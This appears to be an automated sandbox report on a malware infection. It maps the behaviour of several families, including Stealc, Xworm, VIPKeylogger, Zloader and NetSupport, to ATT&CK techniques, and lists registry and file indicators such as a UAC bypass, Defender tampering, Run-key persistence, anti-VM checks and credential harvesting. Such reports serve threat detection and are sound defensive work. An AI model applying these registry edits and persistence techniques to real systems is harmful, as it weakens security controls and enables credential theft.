ateraagent | hxxps://zillya[.]com/zillya-total-security

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	powershell.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	powershell.exe

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport
Netsupport family
netsupport
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

UAC bypass 3 TTPs 4 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	powershell.exe

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
Zloader family
zloader
Zloader, Terdot, DELoader, ZeusSphinx
Zloader is a malware strain that was initially discovered back in August 2015.
trojan botnet zloader
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5a4b8a265b4512cc6a8b192587a5c4c60f689165a6f75ec03c12cef3360355d1.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8efd270db517e7b0680011cf1ac803a2675507d8701ed1b86c8ddab7b2823a6f.exe

Adds policy Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\Brv-Q0EV0O = "\"C:\\ProgramData\\BraveShared\\BraveSharedUpdater.exe\""	iexplore.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	0d4bf4e1a47fa2cfdb5cdc23d8a2b1552c1d82c307e1eec95297e62a478d2f2d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\Brv-Q0EV0O = "\"C:\\ProgramData\\BraveShared\\BraveSharedUpdater.exe\""	0d4bf4e1a47fa2cfdb5cdc23d8a2b1552c1d82c307e1eec95297e62a478d2f2d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	BraveSharedUpdater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\Brv-Q0EV0O = "\"C:\\ProgramData\\BraveShared\\BraveSharedUpdater.exe\""	BraveSharedUpdater.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	iexplore.exe

Blocklisted process makes network request 17 IoCs

flow	pid	Process
120	4480	msiexec.exe
122	4480	msiexec.exe
454	2240	powershell.exe
456	5592	msiexec.exe
458	5592	msiexec.exe
460	5592	msiexec.exe
504	5820	msiexec.exe
511	2988	rundll32.exe
515	5956	rundll32.exe
551	4848	MsiExec.exe
553	4712	powershell.exe
581	7068	WScript.exe
588	7068	WScript.exe
595	4256	AgentPackageHeartbeat.exe
611	7132	rundll32.exe
631	7368	rundll32.exe
672	7260	MsiExec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 20 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
7896	powershell.exe
7248	powershell.exe
1312	powershell.exe
7512	powershell.exe
1464	powershell.exe
5556	powershell.exe
7756	powershell.exe
7812	powershell.exe
7528	powershell.exe
2052	powershell.exe
2196	powershell.exe
7908	powershell.exe
4832	powershell.exe
6904	powershell.exe
4256	powershell.exe
3952	powershell.exe
7792	powershell.exe
4932	powershell.exe
5392	powershell.exe
4712	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "0"	ZTSCore.exe

Disables Task Manager via registry modification
evasion

Disables cmd.exe use via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\disablecmd = "0"	ZTSCore.exe

Downloads MZ/PE file

Drops file in Drivers directory 6 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\znf.sys	drvcmd.exe
File opened for modification	C:\Windows\system32\drivers\znf.sys	drvcmd.exe
File created	C:\Windows\system32\drivers\zsc.sys	drvcmd.exe
File created	C:\Windows\system32\drivers\zef.sys	drvcmd.exe
File created	C:\Windows\system32\drivers\etc\hosts	ZTSCore.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	ZTSCore.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5a4b8a265b4512cc6a8b192587a5c4c60f689165a6f75ec03c12cef3360355d1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5a4b8a265b4512cc6a8b192587a5c4c60f689165a6f75ec03c12cef3360355d1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8efd270db517e7b0680011cf1ac803a2675507d8701ed1b86c8ddab7b2823a6f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8efd270db517e7b0680011cf1ac803a2675507d8701ed1b86c8ddab7b2823a6f.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	OneDrive.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	7245244c75276269f56cce5f81194681a881d4746a7abec6807f28a19b04ba66.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	0d4bf4e1a47fa2cfdb5cdc23d8a2b1552c1d82c307e1eec95297e62a478d2f2d.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	8716b0aec344d67da46449589ef1d169b42e0f038ba28392825b10a611a0fb3f.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	ClientSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	SecurityHealthSystray.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	ZTS3.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	SearchFilterHost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WmiPrvSE.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	regedit.exe

Drops startup file 10 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk	OneDrive.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\regedit.lnk	regedit.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneDrive.lnk	OneDrive.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\regedit.lnk	regedit.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SecurityHealthSystray.lnk	SecurityHealthSystray.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchFilterHost.lnk	SearchFilterHost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SearchFilterHost.lnk	SearchFilterHost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WmiPrvSE.lnk	WmiPrvSE.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WmiPrvSE.lnk	WmiPrvSE.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SecurityHealthSystray.lnk	SecurityHealthSystray.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 64 IoCs

pid	Process
2188	ZTS3.exe
2396	ZTS3.tmp
2724	drvcmd.exe
3904	MSCMgr.exe
640	WDReg.exe
876	ZTSAux.exe
644	ZTSUpdater.exe
4680	ZTSNet.exe
4356	ZTSHips.exe
5152	ZTSCore.exe
5432	ZTS.exe
2964	ZTS.exe
1440	Setup.exe
5228	nc.exe
5928	Setup.exe
5224	nc.exe
6092	Setup.exe
4432	nc.exe
2828	SystemResearchTool.exe
408	ZTS.exe
5144	ZTS.exe
3592	0d4bf4e1a47fa2cfdb5cdc23d8a2b1552c1d82c307e1eec95297e62a478d2f2d.exe
316	BraveSharedUpdater.exe
3036	BraveCrashHandler.exe
2956	client32.exe
3004	dismhost.exe
5596	dismhost.exe
3296	5a4b8a265b4512cc6a8b192587a5c4c60f689165a6f75ec03c12cef3360355d1.exe
5696	8efd270db517e7b0680011cf1ac803a2675507d8701ed1b86c8ddab7b2823a6f.exe
304	20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe
5924	AteraAgent.exe
2608	AteraAgent.exe
2752	33c3da7bf02520c5a749d6d87c81b35c7a3be9b39a1e09eb2aa15fb94853e73b.exe
300	AgentPackageAgentInformation.exe
5280	AgentPackageAgentInformation.exe
1820	AgentPackageAgentInformation.exe
4128	AteraAgent.exe
980	AgentPackageAgentInformation.exe
3296	AgentPackageSTRemote.exe
2240	AgentPackageMonitoring.exe
5076	SplashtopStreamer.exe
5216	PreVerCheck.exe
3344	_is9C9.exe
2256	AgentPackageMonitoring.exe
2128	_is9C9.exe
1668	_is9C9.exe
452	_is9C9.exe
2744	_is9C9.exe
4136	_is9C9.exe
1348	_is9C9.exe
408	_is9C9.exe
4036	_is9C9.exe
4504	_is9C9.exe
5596	_is1841.exe
5452	_is1841.exe
5336	_is1841.exe
2736	_is1841.exe
2856	_is1841.exe
3052	_is1841.exe
4120	_is1841.exe
2604	_is1841.exe
3040	_is1841.exe
5560	_is1841.exe
4600	_is2978.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Wine	5a4b8a265b4512cc6a8b192587a5c4c60f689165a6f75ec03c12cef3360355d1.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Wine	8efd270db517e7b0680011cf1ac803a2675507d8701ed1b86c8ddab7b2823a6f.exe

Loads dropped DLL 64 IoCs

pid	Process
2456	MsiExec.exe
876	ZTSAux.exe
876	ZTSAux.exe
644	ZTSUpdater.exe
644	ZTSUpdater.exe
4680	ZTSNet.exe
4680	ZTSNet.exe
4356	ZTSHips.exe
4356	ZTSHips.exe
4356	ZTSHips.exe
4356	ZTSHips.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
5432	ZTS.exe
4356	ZTSHips.exe
5152	ZTSCore.exe
4356	ZTSHips.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
5152	ZTSCore.exe
3432	Explorer.EXE
3432	Explorer.EXE
2964	ZTS.exe
2964	ZTS.exe
2964	ZTS.exe
2964	ZTS.exe
2964	ZTS.exe
2964	ZTS.exe
2964	ZTS.exe
2964	ZTS.exe
1440	Setup.exe
1440	Setup.exe
1440	Setup.exe
1440	Setup.exe
5928	Setup.exe
5928	Setup.exe
5928	Setup.exe
5928	Setup.exe
2172	AutoIt3.exe
3948	AutoIt3.exe
6092	Setup.exe
6092	Setup.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe
Key opened	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe

Adds Run key to start application 2 TTPs 25 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "C:\\ProgramData\\WmiPrvSE.exe"	WmiPrvSE.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Brv-Q0EV0O = "\"C:\\ProgramData\\BraveShared\\BraveSharedUpdater.exe\""	iexplore.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BraveCrashHandler = "C:\\ProgramData\\BraveCrashHandler.exe"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BraveCrashHandler = "C:\\ProgramData\\BraveCrashHandler.exe"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BraveCrashHandler = "C:\\Users\\Admin\\Embedit.exe"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SheIlExperienceHost = "C:\\Users\\Admin\\AppData\\Local\\SheIlExperienceHost.exe"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleCrashHandler = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleCrashHandler.exe"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SheIlExperienceHost = "C:\\Users\\Admin\\AppData\\Local\\SheIlExperienceHost.exe"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ClientSetup = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\ClientSetup.exe\""	WScript.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Brv-Q0EV0O = "\"C:\\ProgramData\\BraveShared\\BraveSharedUpdater.exe\""	0d4bf4e1a47fa2cfdb5cdc23d8a2b1552c1d82c307e1eec95297e62a478d2f2d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Brv-Q0EV0O = "\"C:\\ProgramData\\BraveShared\\BraveSharedUpdater.exe\""	BraveSharedUpdater.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ScreenConnect = "C:\\ProgramData\\MScreenConnect\\client32.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BraveCrashHandler = "C:\\Users\\Admin\\Embedit.exe"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleCrashHandler = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleCrashHandler.exe"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchFilterHost = "C:\\Users\\Admin\\SearchFilterHost.exe"	SearchFilterHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\regedit = "C:\\Users\\Public\\regedit.exe"	regedit.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetUtilityApp = "C:\\Users\\Admin\\AppData\\Roaming\\SystemUtil\\client32.exe"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Brv-Q0EV0O = "\"C:\\ProgramData\\BraveShared\\BraveSharedUpdater.exe\""	0d4bf4e1a47fa2cfdb5cdc23d8a2b1552c1d82c307e1eec95297e62a478d2f2d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Brv-Q0EV0O = "\"C:\\ProgramData\\BraveShared\\BraveSharedUpdater.exe\""	BraveSharedUpdater.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleCrashHandler64 = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleCrashHandler64.exe"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GoogleCrashHandler64 = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleCrashHandler64.exe"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDrive = "C:\\Users\\Admin\\OneDrive.exe"	OneDrive.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Zillya Total Security = "\"C:\\Program Files (x86)\\Zillya Total Security\\ZTS.exe\" /min"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Brv-Q0EV0O = "\"C:\\ProgramData\\BraveShared\\BraveSharedUpdater.exe\""	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealthSystray = "C:\\ProgramData\\SecurityHealthSystray.exe"	SecurityHealthSystray.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\e:	ZTSCore.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\i:	ZTSCore.exe
File opened (read-only)	\??\r:	ZTSCore.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\x:	ZTSCore.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\l:	ZTSCore.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
555	checkip.dyndns.org

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5812	powercfg.exe
3800	powercfg.exe

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	AgentPackageMonitoring.exe
File opened for modification	\??\PhysicalDrive0	AgentPackageMonitoring.exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log	rundll32.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AgentPackageRuntimeInstaller.exe.log	AgentPackageRuntimeInstaller.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\wlist[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002929[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002945[1].dat	ZTSUpdater.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141	MsiExec.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AgentPackageSystemTools.exe.log	AgentPackageSystemTools.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002941[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002942[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002947[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002957[1].dat	ZTSUpdater.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AgentPackageOsUpdates.exe.log	AgentPackageOsUpdates.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	MsiExec.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB	SRManager.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\5P2O55VU.txt	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002934[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002955[1].dat	ZTSUpdater.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AgentPackageAgentInformation.exe.log	AgentPackageAgentInformation.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AgentPackageProgramManagement.exe.log	AgentPackageProgramManagement.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002928[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002932[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002962[1].dat	ZTSUpdater.exe
